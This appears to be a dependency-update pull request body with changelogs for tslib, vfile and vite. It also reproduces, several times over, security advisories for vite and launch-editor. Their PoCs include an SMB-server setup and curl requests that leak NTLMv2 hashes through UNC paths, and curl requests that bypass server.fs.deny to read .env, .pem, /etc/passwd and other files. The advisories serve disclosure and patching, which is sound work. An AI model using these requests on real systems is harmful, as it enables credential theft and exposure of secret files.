Full Changelog: 2.6.0...v2.6.1
2.6.0
What's Changed
Full Changelog: v2.5.3...2.6.0
2.5.3
What's Changed
- Do not reference tslib.es6.js from package.json exports by @andrewbranch in #208
Full Changelog: 2.5.2...v2.5.3
2.5.2
This release explicitly re-exports helpers to work around TypeScript's incomplete symbol resolution for tslib.
2.5.1
This release of tslib provides fixes for two issues.
First, it reverses the order of
inithooks provided by decorators to correctly reflect proposed behavior.Second, it corrects the
exportsfield of tslib'spackage.jsonand provides accurate declaration files so that it may be consumed under thenode16andbundlersettings formoduleResolution.
2.5.0
What's New
- Fix asyncDelegator reporting done too early by @apendua in #187
- Add support for TypeScript 5.0's
__esDecorateand related helpers by @rbuckton in #193Full Changelog: 2.4.1...2.5.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 71 commits:
2.8.1Merge pull request #275 from microsoft/bug/es5-compatRemove use of ES2015 syntaxInclude non-enumerable keys in __importStar helper (#272)Add missing registry-url parameterMerge pull request #271 from microsoft/fix-publishFix publish workflow2.8.0Merge pull request #270 from microsoft/rewriteRelativeImportExtensionMissed updateLittle optimizationsAdd URL-ish testCombine tsx case into regexTest and fix invalid declaration-looking extensionsDo more with a regexShorten by one lineCase insensitivity, remove lookbehindAdd rewriteRelativeImportExtension helperMerge pull request #269 from microsoft/test-infrastructureTest export structureBump version to 2.7.0.Use global 'Iterator.prototype' for downlevel generators (#267)Implement deterministic collapse of 'await' in 'await using' (#262)2.6.3'await using' normative changes (#258)Bump the github-actions group with 3 updates (#253)Bump the github-actions group with 1 update (#242)Bump the github-actions group with 1 update (#241)Bump the github-actions group with 2 updates (#240)JSDoc typo on `__exportStar`. (#221)Bump the github-actions group with 1 update (#233)Bump the github-actions group with 1 update (#230)Bump the github-actions group with 2 updates (#228)Pin CI actions missed in previous PRCI: Hashpin sensitive actions and install dependabot (#226)Fix __asyncGenerator to properly handle AsyncGeneratorUnwrapYieldResumption (#222)Update codeql workflow using GUI (#223)CI: set minimal permissions for GitHub Workflows (#218)2.6.2Merge pull request #217 from microsoft/bug/fix-modules-condition-types-pathFix path to exports["module"]["types"]2.6.1Merge pull request #216 from microsoft/bug/205Undo format on saveStop using es6 syntax in the es6 fileAllow functions as values in __addDisposableResource (#215)2.6.0Add helpers for `using` and `await using` (#213)2.5.3Merge pull request #208 from microsoft/moar-modulesDo not reference tslib.es6.js from package.json exportsBump version to 2.5.2.Use named reexport to satsify incomplete TS symbol resolution (#204)Reverse order of decorator-injected initializers (#202)Merge pull request #200 from Andarist/fix/import-typesUpdate modules/index.d.tsMerge pull request #201 from microsoft/fix-esmMerge pull request #179 from guybedford/patch-4Add default export to modules/index.jsEnsure tslib.es6.js is typedAdd Node-specific export condition for ESM entrypoint that re-exports CJSAdd propert declaration file for the `import` conditionMerge pull request #195 from xfq/httpshttp -> httpsMerge pull request #194 from microsoft/bump-version-2.5Bump package version to 2.5.0Add support for __esDecorate and related helpers (#193)Merge pull request #188 from microsoft/add-codeqltry paths: .add codeqlFix asyncDelegator reporting done too early (#187)
โ๏ธ vfile (indirect, 5.3.6 โ 6.0.3) ยท Repo ยท Changelog
Release Notes
6.0.3
Full Changelog: 6.0.2...6.0.3
6.0.2
Performance
- aeae47e Refactor to prevent calling
cwdif not neededMiscellaneous
- f364b8f Refactor to use import maps
Types
Full Changelog: 6.0.1...6.0.2
6.0.1
Types
- f9f3c8f Update
@types/unistFull Changelog: 6.0.0...6.0.1
6.0.0
Change
- 46dd635 Change to require Node.js 16
migrate: update Node- f72469b Change to use export map
migrate: donโt use private APIs- f4edd0d Change to replace
BufferwithUint8Array
migrate: this will mostly work, but might break if you use weird ancient encodings
by @wooorm in #85- af5eada Update
vfile-message
migrate: if you used.positionon messages, switch that to.place
optionally use the nicer options parameter to pass your thingsMisc
- 47eec44 Refactor to match current Node internals
- ab764ab Refactor docs
- bc0332c Change to use
node:prefix- 5d00341 Change to use global
URLin types- 6b8fdb4 4800e34 Refactor types
- c4b6c0d Refactor code-style
- f3c5753 Remove
skipLibCheckfromtsconfig.json- 6a87fde Refactor
package.jsonFull Changelog: 5.3.7...6.0.0
5.3.7
Misc
Full Changelog: 5.3.6...5.3.7
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 47 commits:
6.0.3Refactor code-styleRefactor ActionsUpdate dev-dependenciesRemove unused dependency6.0.2Refactor to prevent calling `cwd` if not neededRefactor code-styleRefactor `.npmrc`Refactor `.editorconfig`Update ActionsAdd declaration mapsRefactor to use import mapsRefactor typesUpdate dev-dependenciesUpdate ActionsUpdate dev-dependenciesUpdate dev-dependenciesUpdate dev-dependencies6.0.1Update `@types/unist`Update `lib` in `tsconfig.json`Refactor to reorder some fields6.0.0Change to require Node.js 16Change to replace `Buffer` with `Uint8Array`Change to use export mapFix typoRefactor to match current Node internalsRefactor docsUpdate `vfile-message`Refactor some JSDocsChange to use `node:` prefixChange to use global `URL` in typesRefactor typesRefactor code-styleRemove `skipLibCheck` from `tsconfig.json`Refactor `package.json`Update dev-dependenciesFix buildAdd sponsor5.3.7Add improved docsAdd tests for exposed identifiersRefactor code-styleRemove unneeded asterisk in `tsconfig.json`Add Node 16 to Actions
โ๏ธ vite (indirect, 3.2.4 โ 8.1.5) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
Summary
The
launch-editorNPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the userโs NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the
launch-editor:
- using Windows
- NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using
launch-editor- the server that has the middleware using
launch-editoris running- the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editoraccepts file paths without validating or restricting Windows UNC paths such as:\\attacker-host\shareOn Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victimโs NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victimโs cleartext password.
The attacker could target a developer that uses a development server using
launch-editorto develop code locally, send them a link and grab their NTLMv2 hash.PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use
smbserver.pyhere.First, let's create a directory to serve as an SMB share.
mkdir /tmp/data echo "Hello world" > /tmp/data/test.txtThen, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/dataNow, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (
vite).Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use
curlto achieve the same.curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of
smbserver.pyand see the NTLMv2 hash coming in.
๐จ vite: `server.fs.deny` bypass on Windows alternate paths
Summary
The contents of files that are specified by
server.fs.denycan be returned to the browser on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- the sensitive file exists in the allowed directories specified by
server.fs.allow- either of:
- the sensitive file exists in an NTFS volume
- the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details
Viteโs dev server denies direct access to sensitive files through
server.fs.deny, including entries such as.env,.env.*, and*.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as/.env::$DATA?raware treated as allowed paths, while Windows resolves them to the original file's default data stream.Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.
PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devAccess via browser at
http://localhost:5173/.env::$DATA?raw
Example expected result:
/.env::$DATA?rawreturns the contents of.env/tls.pem::$DATA?rawreturns the contents oftls.pem
๐จ vite: `server.fs.deny` bypass on Windows alternate paths
Summary
The contents of files that are specified by
server.fs.denycan be returned to the browser on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- the sensitive file exists in the allowed directories specified by
server.fs.allow- either of:
- the sensitive file exists in an NTFS volume
- the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details
Viteโs dev server denies direct access to sensitive files through
server.fs.deny, including entries such as.env,.env.*, and*.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as/.env::$DATA?raware treated as allowed paths, while Windows resolves them to the original file's default data stream.Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.
PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devAccess via browser at
http://localhost:5173/.env::$DATA?raw
Example expected result:
/.env::$DATA?rawreturns the contents of.env/tls.pem::$DATA?rawreturns the contents oftls.pem
๐จ vite: `server.fs.deny` bypass on Windows alternate paths
Summary
The contents of files that are specified by
server.fs.denycan be returned to the browser on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- the sensitive file exists in the allowed directories specified by
server.fs.allow- either of:
- the sensitive file exists in an NTFS volume
- the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)
Details
Viteโs dev server denies direct access to sensitive files through
server.fs.deny, including entries such as.env,.env.*, and*.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as/.env::$DATA?raware treated as allowed paths, while Windows resolves them to the original file's default data stream.Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.
PoC
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run devAccess via browser at
http://localhost:5173/.env::$DATA?raw
Example expected result:
/.env::$DATA?rawreturns the contents of.env/tls.pem::$DATA?rawreturns the contents oftls.pem
๐จ launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
Summary
The
launch-editorNPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the userโs NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the
launch-editor:
- using Windows
- NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using
launch-editor- the server that has the middleware using
launch-editoris running- the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editoraccepts file paths without validating or restricting Windows UNC paths such as:\\attacker-host\shareOn Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victimโs NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victimโs cleartext password.
The attacker could target a developer that uses a development server using
launch-editorto develop code locally, send them a link and grab their NTLMv2 hash.PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use
smbserver.pyhere.First, let's create a directory to serve as an SMB share.
mkdir /tmp/data echo "Hello world" > /tmp/data/test.txtThen, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/dataNow, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (
vite).Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use
curlto achieve the same.curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of
smbserver.pyand see the NTLMv2 hash coming in.
๐จ launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows
Summary
The
launch-editorNPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the userโs NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.Impact
If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the
launch-editor:
- using Windows
- NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
- the user accesses the attackers website that sends request to a middleware using
launch-editor- the server that has the middleware using
launch-editoris running- the attacker knows the URL for that server and the middleware
This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.
Details
launch-editoraccepts file paths without validating or restricting Windows UNC paths such as:\\attacker-host\shareOn Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.
If an attacker controls the SMB server referenced by the UNC path the victimโs NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victimโs cleartext password.
The attacker could target a developer that uses a development server using
launch-editorto develop code locally, send them a link and grab their NTLMv2 hash.PoC
From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use
smbserver.pyhere.First, let's create a directory to serve as an SMB share.
mkdir /tmp/data echo "Hello world" > /tmp/data/test.txtThen, start the SMB server.
$ sudo smbserver.py -smb2support -debug share /tmp/dataNow, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (
vite).Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use
curlto achieve the same.curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of
smbserver.pyand see the NTLMv2 hash coming in.
๐จ launch-editor vulnerable to command injection via the crafted request on Windows
Summary
Due to the insufficient sanitization of the
fileargument in thelaunchEditor, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters.Impact
If the following conditions are met, an attacker can execute arbitrary commands on the computer that is using the
launch-editor:
- An attacker can place a file with the malicious filename
- An attacker can call the
launchEditormethod with thefileargument controlled- The
launch-editorpackage is running on WindowsFor example, some development server using this package satisfy these conditions, as a malicious website might be able to force the downloading of a file and the path of that file is predictable.
Patch
This issue has been fixed in the
launch-editorversion 2.9.0 (commit).
๐จ Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket
Summary
server.fscheck was not enforced to thefetchModulemethod that is exposed in Vite dev server's WebSocket.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- WebSocket is not disabled by
server.ws: falseArbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.
Details
If it is possible to connect to the Vite dev serverโs WebSocket without an
Originheader, an attacker can invokefetchModulevia the custom WebSocket eventvite:invokeand combinefile://...with?raw(or?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g.,export default "...").The access control enforced in the HTTP request path (such as
server.fs.allow) is not applied to this WebSocket-based execution path.PoC
Start the dev server on the target
Example (used during validation with this repository):pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173Confirm that access is blocked via the HTTP path (example: arbitrary file)
curl -i 'http://localhost:5173/@fs/etc/passwd?raw'Confirm that the same file can be retrieved via the WebSocket path
By connecting to the HMR WebSocket without anOriginheader and sending avite:invokerequest that callsfetchModulewith afile://...URL and?raw, the file contents are returned as a JavaScript module.![]()
๐จ Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket
Summary
server.fscheck was not enforced to thefetchModulemethod that is exposed in Vite dev server's WebSocket.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- WebSocket is not disabled by
server.ws: falseArbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.
Details
If it is possible to connect to the Vite dev serverโs WebSocket without an
Originheader, an attacker can invokefetchModulevia the custom WebSocket eventvite:invokeand combinefile://...with?raw(or?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g.,export default "...").The access control enforced in the HTTP request path (such as
server.fs.allow) is not applied to this WebSocket-based execution path.PoC
Start the dev server on the target
Example (used during validation with this repository):pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173Confirm that access is blocked via the HTTP path (example: arbitrary file)
curl -i 'http://localhost:5173/@fs/etc/passwd?raw'Confirm that the same file can be retrieved via the WebSocket path
By connecting to the HMR WebSocket without anOriginheader and sending avite:invokerequest that callsfetchModulewith afile://...URL and?raw, the file contents are returned as a JavaScript module.![]()
๐จ Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling
Summary
Any files ending with
.mapeven out side the project can be returned to the browser.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- have a sensitive content in files ending with
.mapand the path is predictableDetails
In Vite v7.3.1, the dev serverโs handling of
.maprequests for optimized dependencies resolves file paths and callsreadFilewithout restricting../segments in the URL. As a result, it is possible to bypass theserver.fs.strictallow list and retrieve.mapfiles located outside the project root, provided they can be parsed as valid source map JSON.PoC
- Create a minimal PoC sourcemap outside the project root
cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF- Start the Vite dev server (example)
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080- Confirm that direct
/@fsaccess is blocked bystrict(returns 403)
![]()
- Inject
../segments under the optimized deps.mapURL prefix to reach/tmp/poc.map
![]()
๐จ Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling
Summary
Any files ending with
.mapeven out side the project can be returned to the browser.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- have a sensitive content in files ending with
.mapand the path is predictableDetails
In Vite v7.3.1, the dev serverโs handling of
.maprequests for optimized dependencies resolves file paths and callsreadFilewithout restricting../segments in the URL. As a result, it is possible to bypass theserver.fs.strictallow list and retrieve.mapfiles located outside the project root, provided they can be parsed as valid source map JSON.PoC
- Create a minimal PoC sourcemap outside the project root
cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF- Start the Vite dev server (example)
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080- Confirm that direct
/@fsaccess is blocked bystrict(returns 403)
![]()
- Inject
../segments under the optimized deps.mapURL prefix to reach/tmp/poc.map
![]()
๐จ Vite Vulnerable to Path Traversal in Optimized Deps `.map` Handling
Summary
Any files ending with
.mapeven out side the project can be returned to the browser.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- have a sensitive content in files ending with
.mapand the path is predictableDetails
In Vite v7.3.1, the dev serverโs handling of
.maprequests for optimized dependencies resolves file paths and callsreadFilewithout restricting../segments in the URL. As a result, it is possible to bypass theserver.fs.strictallow list and retrieve.mapfiles located outside the project root, provided they can be parsed as valid source map JSON.PoC
- Create a minimal PoC sourcemap outside the project root
cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF- Start the Vite dev server (example)
pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080- Confirm that direct
/@fsaccess is blocked bystrict(returns 403)
![]()
- Inject
../segments under the optimized deps.mapURL prefix to reach/tmp/poc.map
![]()
๐จ Vite: `server.fs.deny` bypassed with queries
Summary
The contents of files that are specified by
server.fs.denycan be returned to the browser.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- the sensitive file exists in the allowed directories specified by
server.fs.allow- the sensitive file is denied with a pattern that matches a file by
server.fs.denyDetails
On the Vite dev server, files that should be blocked by
server.fs.deny(e.g.,.env,*.crt) can be retrieved with HTTP 200 responses when query parameters such as?raw,?import&raw, or?import&url&inlineare appended.PoC
๐จ Vite: `server.fs.deny` bypassed with queries
Summary
The contents of files that are specified by
server.fs.denycan be returned to the browser.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- the sensitive file exists in the allowed directories specified by
server.fs.allow- the sensitive file is denied with a pattern that matches a file by
server.fs.denyDetails
On the Vite dev server, files that should be blocked by
server.fs.deny(e.g.,.env,*.crt) can be retrieved with HTTP 200 responses when query parameters such as?raw,?import&raw, or?import&url&inlineare appended.PoC
๐จ Vite Vulnerable to Arbitrary File Read via Vite Dev Server WebSocket
Summary
server.fscheck was not enforced to thefetchModulemethod that is exposed in Vite dev server's WebSocket.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option)- WebSocket is not disabled by
server.ws: falseArbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.
Details
If it is possible to connect to the Vite dev serverโs WebSocket without an
Originheader, an attacker can invokefetchModulevia the custom WebSocket eventvite:invokeand combinefile://...with?raw(or?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g.,export default "...").The access control enforced in the HTTP request path (such as
server.fs.allow) is not applied to this WebSocket-based execution path.PoC
Start the dev server on the target
Example (used during validation with this repository):pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173Confirm that access is blocked via the HTTP path (example: arbitrary file)
curl -i 'http://localhost:5173/@fs/etc/passwd?raw'Confirm that the same file can be retrieved via the WebSocket path
By connecting to the HMR WebSocket without anOriginheader and sending avite:invokerequest that callsfetchModulewith afile://...URL and?raw, the file contents are returned as a JavaScript module.![]()
๐จ vite allows server.fs.deny bypass via backslash on Windows
Summary
Files denied by
server.fs.denywere sent if the URL ended with\when the dev server is running on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- running the dev server on Windows
Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is thatfs.readFile('/foo.png/')loads/foo.png.PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173
๐จ vite allows server.fs.deny bypass via backslash on Windows
Summary
Files denied by
server.fs.denywere sent if the URL ended with\when the dev server is running on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- running the dev server on Windows
Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is thatfs.readFile('/foo.png/')loads/foo.png.PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173
๐จ vite allows server.fs.deny bypass via backslash on Windows
Summary
Files denied by
server.fs.denywere sent if the URL ended with\when the dev server is running on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- running the dev server on Windows
Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is thatfs.readFile('/foo.png/')loads/foo.png.PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173
๐จ vite allows server.fs.deny bypass via backslash on Windows
Summary
Files denied by
server.fs.denywere sent if the URL ended with\when the dev server is running on Windows.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- running the dev server on Windows
Details
server.fs.denycan contain patterns matching against files (by default it includes.env,.env.*,*.{crt,pem}as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is thatfs.readFile('/foo.png/')loads/foo.png.PoC
npm create vite@latest cd vite-project/ cat "secret" > .env npm install npm run dev curl --request-target /.env\ http://localhost:5173
๐จ Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts withย "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response,ย because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
๐จ Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.
Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts withย "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).
PoC
Execute the following shell commands:
npm create vite@latest cd vite-project/ mkdir p cd p ln -s a b cd .. echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js echo "secret" > private.txt npm install npm run devThen, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/private.txt'You will receive a 403 HTTP Response,ย because private.txt is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/../private.txt'You will receive the contents of private.txt.
Related links
๐จ Vite middleware may serve files starting with the same name with the public directory
Summary
Files starting with the same name with the public directory were served bypassing the
server.fssettings.Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or
server.hostconfig option)- uses the public directory feature (enabled by default)
- a symlink exists in the public directory
Details
The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.
